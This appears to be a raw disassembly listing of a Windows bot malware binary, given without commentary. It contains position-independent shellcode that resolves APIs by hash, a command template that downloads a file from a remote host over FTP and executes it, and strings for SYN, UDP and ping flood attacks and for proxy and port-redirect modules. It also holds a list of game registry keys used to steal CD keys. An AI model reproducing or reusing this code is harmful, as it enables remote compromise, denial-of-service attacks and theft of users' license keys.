dword_4448CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4448FC	dd 0		dword_444900	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_444908	proc near		; DATA XREF: sub_425020+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_444A04
		push	dword ptr [esi]
		push	63D61209h
		call	sub_444A1A
		mov	[esi+8], eax
		call	sub_4449CD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_444A1A
		mov	[esi+0Ch], eax
		call	sub_44497F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_444A1A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_444908	endp


; =============== S U B	R O U T	I N E =======================================



sub_44497F	proc near		; CODE XREF: sub_444908+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4449A8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_44497F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449A8	proc near		; CODE XREF: sub_44497F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4449B7:				; CODE XREF: sub_4449A8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4449C4
		inc	ebx
		jmp	short loc_4449B7
; ---------------------------------------------------------------------------


loc_4449C4:				; CODE XREF: sub_4449A8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4449A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449CD	proc near		; CODE XREF: sub_444908+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4449E5:				; CODE XREF: sub_4449CD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4449ED
		mov	ecx, [ecx]
		jmp	short loc_4449E5
; ---------------------------------------------------------------------------


loc_4449ED:				; CODE XREF: sub_4449CD+1Aj
		mov	edx, edi


loc_4449EF:				; CODE XREF: sub_4449CD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4449F9
		mov	edx, [edx+4]
		jmp	short loc_4449EF
; ---------------------------------------------------------------------------


loc_4449F9:				; CODE XREF: sub_4449CD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4449CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A04	proc near		; CODE XREF: sub_444908+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_444A04	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A1A	proc near		; CODE XREF: sub_444908+16p
					; sub_444908+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_444A30:				; CODE XREF: sub_444A1A+33j
		jecxz	short loc_444A6A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_444A3D:				; CODE XREF: sub_444A1A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_444A49
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_444A3D
; ---------------------------------------------------------------------------


loc_444A49:				; CODE XREF: sub_444A1A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_444A30
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_444A6A:				; CODE XREF: sub_444A1A:loc_444A30j
					; sub_444A1A:loc_444A6Aj
		jmp	short loc_444A6A
sub_444A1A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444A70	proc near		; DATA XREF: sub_425020+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_444AC2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_444A8D:				; CODE XREF: sub_444A70+38j
		jecxz	short loc_444ABD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_444A98:				; CODE XREF: sub_444A70+32j
		lodsb
		test	al, al
		jz	short loc_444AA4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_444A98
; ---------------------------------------------------------------------------


loc_444AA4:				; CODE XREF: sub_444A70+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_444A8D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_444ABD:				; CODE XREF: sub_444A70:loc_444A8Dj
		mov	[esp+arg_0], ebx
		retn
sub_444A70	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AC2	proc near		; CODE XREF: sub_444A70+7p

; FUNCTION CHUNK AT 00444AFA SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_444ADB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_444AE6
; ---------------------------------------------------------------------------


loc_444ADB:				; CODE XREF: sub_444AC2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_444AE6:				; CODE XREF: sub_444AC2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_444AFA
sub_444AC2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444AED	proc near		; CODE XREF: sub_444AC2:loc_444AFAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_444AED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444AC2


loc_444AFA:				; CODE XREF: sub_444AC2+29j
		call	sub_444AED
; END OF FUNCTION CHUNK	FOR sub_444AC2
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_444B94	dd 23h		dword_444B98	dd 60h		dword_444B9C	dd 62B0606h, 2050501h, 0A0hdword_444BA8	dd 0A1h		dword_444BAC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424840+16Do
		align 4


loc_444BB8:				; DATA XREF: sub_424840+100o
		jmp	short near ptr dword_444BC0
; ---------------------------------------------------------------------------
		align 10h
dword_444BC0	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425020+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_444C68:				; DATA XREF: sub_4254E0+CCo
		jmp	short loc_444C6C
; ---------------------------------------------------------------------------


loc_444C6A:				; CODE XREF: ___:loc_444C6Cp
		jmp	short loc_444C71
; ---------------------------------------------------------------------------


loc_444C6C:				; CODE XREF: ___:loc_444C68j
		call	loc_444C6A


loc_444C71:				; CODE XREF: ___:loc_444C6Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_444C76	dw 0FFFFh		; DATA XREF: sub_4254E0+D3w
		db 80h,	73h, 0Eh
byte_444C7B	db 0FFh			; DATA XREF: sub_4254E0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_444C80:				; DATA XREF: sub_4254E0+A7o
		jmp	short loc_444C84
; ---------------------------------------------------------------------------


loc_444C82:				; CODE XREF: ___:loc_444C84p
		jmp	short loc_444C89
; ---------------------------------------------------------------------------


loc_444C84:				; CODE XREF: ___:loc_444C80j
		call	loc_444C82


loc_444C89:				; CODE XREF: ___:loc_444C82j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_444C8D	db 0FFh			; DATA XREF: sub_4254E0+AEw
		dw 7380h
		db 0Ch
byte_444C91	db 0FFh			; DATA XREF: sub_4254E0+B4w
		dw 0E243h
		dd 0F9h
dword_444C98	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_425270+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444CFC	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_444D0C	dd 74656720h	byte_444D10	db 20h			; DATA XREF: sub_425270+A2r
dword_444D11	dd 0E8006A00h	dword_444D15	dd 17h							; sub_425270+D2r
dword_444D19	dd 0E8C30175h	dword_444D1D	dd 1							; sub_425270+E7r
byte_444D21	db 0, 6Ah, 0		; DATA XREF: sub_425270+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_444D2B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_426450+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_4266A0+D0o
		align 10h
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
		align 8
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_426820+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_426820+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_426820+23o
		align 10h
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_426820+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_4269A0+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
		align 10h
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
		align 10h
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
		align 4
		dd 0
aSyn		db 'syn',0              ; DATA XREF: sub_426EB0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
		align 4
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
		align 8
aUdp		db 'udp',0              ; DATA XREF: sub_427590+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_427650+C0o
		align 10h
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
		align 10h
off_444F30	dd offset byte_455247	; DATA XREF: sub_427DC0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 10h
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_4282C0+D12o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
					; sub_4282C0+B97o
		dd 0
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
					; sub_4282C0+B79o
		align 4
		dd 0
aConnection	db 'Connection:',0      ; DATA XREF: sub_4282C0+9A4o
		dd 0
aChunked	db 'chunked',0          ; DATA XREF: sub_4282C0+961o
		align 8
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
		align 10h
aContentLength	db 'Content-Length:',0  ; DATA XREF: sub_4282C0+87Do
		dd 0
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6DEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6A9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 8
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: sub_4282C0:loc_42886Bo
					; sub_4282C0+9F0o
		align 8
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
		align 10h
asc_445220	db 0Dh,0Ah,0		; DATA XREF: sub_4282C0+46Co
					; sub_4282C0+52Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: sub_4282C0+437o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4282C0+202o
		dd 0
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_4282C0+1CDo
		align 8
off_445248	dd offset byte_544547	; DATA XREF: sub_4282C0+108o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_4299C0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
		align 10h
aSocks4		db 'Socks4',0           ; DATA XREF: sub_429D00+22o
					; sub_42A090+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
		align 8
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
		align 10h
		dd 2 dup(0)
dword_445328	dd 1000005h, 0	dword_445330	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42B880+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42B880+3Fo
		align 4
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042C435o
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:0042C3C1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004453F8o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 8
aCalloc		db 'calloc',0
		align 10h
aSetsockopt	db 'setsockopt',0
		align 10h
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42C810+49o
					; sub_42C810:loc_42C8CDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
		align 4
		dd 0
aRead		db 'read',0             ; DATA XREF: sub_42CC50:loc_42CDECo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42D0D0+72o
		align 10h
aUserS		db 'USER %s',0          ; DATA XREF: sub_42D0D0+3Do
		dd 0
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
		align 10h
		dd 0
dword_4454D4	dd 524F5453h	byte_4454D8	db 0			; DATA XREF: sub_42D2C0+EDr
		align 4
dword_4454DC	dd 52544552h	byte_4454E0	db 0			; DATA XREF: sub_42D2C0+D3r
		align 4
dword_4454E4	dd 5453494Ch	byte_4454E8	db 0			; DATA XREF: sub_42D2C0+B8r
		align 4
dword_4454EC	dd 54534C4Eh	byte_4454F0	db 0			; DATA XREF: sub_42D2C0+9Er
		align 4
dword_4454F4	dd 45505954h, 632520h, 0					; ___:0042E6CAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42D2C0+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 10h
aGetsockname	db 'getsockname',0
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
		align 8
aPasv		db 'PASV',0             ; DATA XREF: sub_42D580+B4o
		align 10h
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
		align 10h
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 8
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 10h
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
		align 10h
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
		align 10h
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042E0DEo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: ___:0042E13Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042E1CEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042E24Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042E2A7o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042E2FEo
		align 4
off_4456AC	dd offset aInterlockedcom+10h ;	DATA XREF: ___:0042E35Do
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42E400:loc_42E581o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
		align 4
		dd 0
word_4456EC	dw 77h			; DATA XREF: sub_42E400+1Fr
		align 10h
dword_4456F0	dd 25206425h, 64hdword_4456F8	dd 455A4953h, 732520h, 0dword_445704	dd 4D54444Dh, 732520h, 0dword_445710	dd 4F544E52h, 732520h, 0dword_44571C	dd 52464E52h, 732520h, 0dword_445728	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42EA40+10o
		align 4
dword_44573C	dd 1							; sub_430460+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_431280+6o
		align 10h
aA:					; DATA XREF: sub_433A20+36o
		unicode	0, <€>,0
		dd 13h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 446894h, 446F60h,	446860h, 80000002h, 446800h
		dd 446F60h, 4467D0h, 80000002h,	446778h, 446F60h, 446754h
		dd 80000002h, 44670Ch, 446F60h,	4466F4h, 80000002h, 4466B0h
		dd 446F60h, 446688h, 80000002h,	44664Ch, 446F60h, 446618h
		dd 80000002h, 4465B8h, 446F60h,	44658Ch, 80000002h, 446568h
		dd 446560h, 446534h, 80000002h,	44650Ch, 446560h, 4464F4h
		dd 80000001h, 4464C4h, 4464C0h,	4464B0h, 80000002h, 446474h
		dd 446F60h, 446464h, 80000002h,	446428h, 446F60h, 446414h
		dd 80000002h, 4463CCh, 446F60h,	4463B0h, 80000002h, 44636Ch
		dd 446F60h, 446350h, 80000001h,	446328h, 4464C0h, 446318h
		dd 80000001h, 4462F0h, 4464C0h,	4462D0h, 80000002h, 446294h
		dd 446290h, 446274h, 80000002h,	446250h, 446248h, 446230h
		dd 80000001h, 446204h, 4461FCh,	4461D8h, 80000002h, 44618Ch
		dd 446F60h, 446164h, 80000002h,	446110h, 446F60h, 4460D8h
		dd 80000002h, 446074h, 446F60h,	446040h, 80000002h, 445FE0h
		dd 446F60h, 445FC4h, 80000002h,	445F7Ch, 446F60h, 445F60h
		dd 80000002h, 445F18h, 446F60h,	445F08h, 80000002h, 445ECCh
		dd 446F60h, 445EBCh, 80000002h,	445E80h, 446F60h, 445E58h
		dd 80000002h, 445E04h, 446F60h,	445DDCh, 80000002h, 445D8Ch
		dd 446F60h, 445D70h, 80000002h,	445D48h, 4464C0h, 445D34h
		dd 80000002h, 445CFCh, 446F60h,	445CCCh, 80000002h, 445C74h
		dd 446F60h, 445C58h, 80000001h,	445C08h, 445C00h, 445BE4h
		dd 80000002h, 445BA0h, 445B94h,	445B7Ch, 80000001h, 445B4Ch
		dd 445B40h, 445B20h, 80000002h,	445AE4h, 445C00h, 445AC4h
		dd 80000002h, 445A88h, 445C00h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
